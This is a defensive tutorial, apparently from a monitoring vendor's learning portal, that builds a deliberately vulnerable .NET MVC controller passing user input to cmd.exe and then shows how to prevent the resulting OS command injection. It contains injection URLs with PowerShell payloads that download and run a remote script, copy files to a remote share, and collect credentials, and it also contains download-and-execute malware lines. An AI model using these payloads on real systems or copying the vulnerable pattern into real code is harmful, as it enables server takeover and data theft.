Patching .NET OS command injection vulnerabilities

Operating system (OS) command injection vulnerabilities are common in web applications that are improperly coded. They occur when a web application accepts user input to initiate an OS command on the web server. If the application doesn’t validate user input correctly, attackers can inject malicious code into the command, allowing them to execute arbitrary commands on the server.

One way that .NET applications can be vulnerable to OS command injection is by calling the Process.Start method. Another way is by using the Process.StartInfo property, which developers use to set various properties for an external command, including command line arguments and the working directory. If you don’t correctly validate the input used to set these properties, bad actors could inject malicious code, such as a shell script, into the command, giving them access to arbitrary commands on the server. These commands run with the same permissions as the application, often at the system-account level.

This article discusses .NET OS command injection vulnerabilities, including system calls, command line arguments, and environment variables. It shows how they occur and ways you can prevent them. While this article focuses on the .NET framework, with examples to illustrate the issues, these OS vulnerabilities are the same for any other language or web server system, whether server-based or a containerized workload.

Avoiding OS command injection vulnerabilities in .NET applications

This article demonstrates how to build a simple .NET model-view-controller (MVC) web application to illustrate how dangerous OS command injection vulnerabilities can be. You'll use Visual Studio Code (VS Code) to ask for a customer ID in a text input box. The code triggers a cmd.exe process and logs the user ID in a check file. In a real-life app, this could begin other operations, such as PDF rendering or starting any other application outside of the browser app itself.

After validating the application, you rerun the app, this timEZe injecting OS command vulnerabilities.

Building a sample app

This demonstration builds the sample app on a Windows 11 client with the latest version of VS Code and .NET 7.0. The app will still work if you prefer another development environment instead of VS Code.

In a Command Prompt window, create a new directory on your development workstation in the root directory (C:\):

mkdir osinjection

Making the osinjection directory Fig. 1: Making the osinjection directory

Change directories by executing cd osinjection and run the following .NET command to create a new web app using the MVC template:

dotnet new mvc

Making the MVC template Fig. 2: Making the MVC template

Next, execute this command:

code .

Note that the period after the code starts VS Code in the current directory.

Starting VS Code in the current directory Fig. 3: Starting VS Code in the current directory

Running code . opens VS Code, which shows the folder structure of the MVC template.

VS Code showing the MVC template’s directory structure Fig. 4: VS Code showing the MVC template’s directory structure

In VS Code, select Terminal > New Terminal from the menu, then execute the following command to start the web app:

dotnet run

Starting the web app Fig. 5: Starting the web app

Open the browser to https://localhost:5290. Note that the port might differ in your setup:

Opening the web app Fig. 6: Opening the web app

Now you make minor changes to the app by adding a controller and a new Razor page with an input box.

First, in the VS Code Terminal window, stop the running app by pressing Ctrl + C.

In the Controller directory, create a new file named SalesController.cs and paste into it the following code snippet:

using Microsoft.AspNetCore.Mvc; 

namespace osinjection.Controllers;

public class SalesController : Controller
{
private readonly ILogger<SalesController> _logger;
private readonly IWebHostEnvironment _environment;

public SalesController(
ILogger<SalesController> logger,
IWebHostEnvironment environment)
{
_logger = logger;
_environment = environment;
}

public IActionResult Demo(string? id)
{
if (string.IsNullOrEmpty(id))
{
// If the id parameter is not provided, return the view with the form
return View();
}
else
{
// If the id parameter is provided, return the view with the result
ViewData["Customer"] = id;
var process = new System.Diagnostics.Process();
var startInfo = new System.Diagnostics.ProcessStartInfo();
var contentPath = _environment.ContentRootPath;
var filePath = System.IO.Path.Combine(contentPath, id);
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = $"/C echo teste > {filePath}";
process.StartInfo = startInfo;
process.Start();

if (process == null)
{
return StatusCode(500);
}
else
{
process.WaitForExit();
return View();
}
}
}
}

Most of this code comes from the HomeController.cs file in the template. The relevant updates to the code for this OS command vulnerability example are in the startinfo.Arguments section of startinfo.FileName. Opening the Demo page for an imaginary customer ID triggers the cmd.exe process, where you use the echo command to create a new log file with the customer ID.

Next, create a directory in the Views directory named Sales. In this directory, create a file named Demo.cshtml.

This is the sample web page you will use later.

Paste in the following code snippet:

@{ 
ViewData["Title"] = "Sales";
}

<form id="customer-form" method="post" action="/Sales/Demo">
<div class="text-center">
<h1 class="display-4">Sales Information for customer</h1>
<div>
@Html.TextBox("customerId", null, new { @class = "form-control", label = "id", name = "id", placeholder = "Enter customer ID" })
</div>
<button type="submit" class="btn btn-primary mt-3">Submit</button>
</div>
</form>
@section Scripts {
<script>
document.getElementById("customer-form").addEventListener("submit", function(event) {
event.preventDefault();
var customerId = document.getElementById("customerId").value;
if (customerId === "") {
alert("Please enter a customer ID.");
return;
}
var url = "@Url.Action("Demo", "Sales")" + "/" + customerId;
window.location.href = url;
});
</script>
}

This snippet creates an HTML web page with an input box to enter the customer ID.

Save the changes and execute the app again by running dotnet run in the terminal window. This time, browse to http://localhost:5290/sales/demo.

Customer ID text input box Fig. 7: Customer ID text input box

Enter any customer ID in the input box and click Submit or browse to the customer ID using the following URL: http://localhost:5290/sales/demo/1.

Now, in VS Code, check the osinjection directory for a file called 1. Open the file and you should see the text, “somesampletext”.

Opening file 1 Fig. 8: Opening file 1

So far, the web app is harmless. However, it’s vulnerable because there’s no validation of the customer ID in the URL or the input box. For example, use the && type > output.docx command at the end of the working URL like this:

http://localhost:5290/sales/demo/1&&type>output.docx

Using the text input box’s URL to inject a command Fig. 9: Using the text input box’s URL to inject a command

Look in the osinjection directory to view a new Word document called output:

Word document resulting from the injected command Fig. 10: Word document resulting from the injected command

Creating a Word document isn’t harmful, but think of the other commands attackers could execute on the web server using the same approach. For example, a malicious actor could use PowerShell to upload or download files to or from a remote server by executing local FileCopy commands, such as below:


http://localhost:5290/sales/demo/1; powershell –ExecutionPolicy Bypass –Command "Copy-Item 'C:\path_to_local_file' -Destination '\\remoteserver\sharedfolder\path\'"

Additionally, consider the results of replacing &&type>output.docx with the following syntax:

http://localhost:5290/sales/demo/1; powershell –ExecutionPolicy Bypass –Command "Invoke-Expression ((New-Object System.Net.Client).DownloadString ('http://remoteserver.com/demoscript.ps1'))"  

This code would start PowerShell on the web server to connect to the remote server and run the malicious PowerShell script. Inside the script, use any regular expression or action :

$creds = Get-Credential 
$creds | Export-csv –Path C:\temp\creds.csv

Alternatively, an attacker might download and install malware on the server using the same remote PowerShell script, which could contain the following:


Invoke-WebRequest –Uri http://remoteserver.com/malware.exe -OutFile C:\temp\malware.exe
Start-Process –FilePath C:\temp\malware.exe

Preventing OS command injection in your .NET apps

Now that you’ve seen the OS command injection vulnerability in action, here’s how to avoid such vulnerabilities.

When possible, avoid running OS commands (for example, cmd.exe) from your web app. If you must execute a command process, try to limit what the user input could look like and sanitize the input. For example, use a regular expression (regex), such as Regex(@"^[0-9A-Za-z_/-]+$"), to limit what users can enter for the customerId parameter.

You can also avoid this vulnerability by removing or escaping characters like semicolons, ampersands, and pipes that could inject malicious commands.

Another possibility is to use an API to execute OS commands, limiting what anyone can execute on the web server and what can be executed by the API.

It’s also advisable to limit the permissions of the web app itself. The web app should work with the fewest privileges necessary to perform its core functions. This approach helps limit the damage that a successful attack can cause. For example, don’t allow the web app to launch any other process, such as in the powershell.exe example.

Finally, implement the necessary defense in depth application-layer security mechanisms. Start from the network level, setting up firewalls and load balancers supporting intrusion detection, prevention, and other control mechanisms.

Also, consider implementing code vulnerability scanning as part of the build and release processes when the application runs. One example is implementing the free OWASP ZAP vulnerability scanner in your continuous integration and continuous deployment (CI/CD) pipeline. The OWASP Foundation provides a yearly list of internet vulnerabilities. Since 2021, it has listed OS command injection among the top three most critical vulnerabilities and attack risks (in 2017, it was ranked number seven).

OWASP Foundation’s internet vulnerabilities list Fig. 11: OWASP Foundation’s internet vulnerabilities list

Conclusion

OS command injection is a considerable security and attack risk for your web servers. Attackers continuously look for flaws in website code, allowing them to inject malicious code or commands, which could bring down a server, expose secret information, lead to data theft, or spread malware across your network.

OS command injection is possible when your web application relies on running OS commands as part of the back-end application logic, such as triggering a cmd.exe or a similar process. You can prevent these risks by not directly running system commands within the app. Consider sanitizing the user’s input using regex, which limits the characters and values users can provide.

Discuss with your network security team how firewalls and load balancers could help by enabling intrusion detection and content inspection to detect suspicious activity. Finally, consider implementing a code vulnerability scanner in your CI/CD development cycle.

Was this article helpful?
Monitor your applications with ease

Identify and eliminate bottlenecks in your application for optimized performance.

Related Articles

Write For Us

Write for Site24x7 is a special writing program that supports writers who create content for Site24x7 "Learn" portal. Get paid for your writing.

Write For Us

Write for Site24x7 is a special writing program that supports writers who create content for Site24x7 “Learn” portal. Get paid for your writing.

Apply Now
Write For Us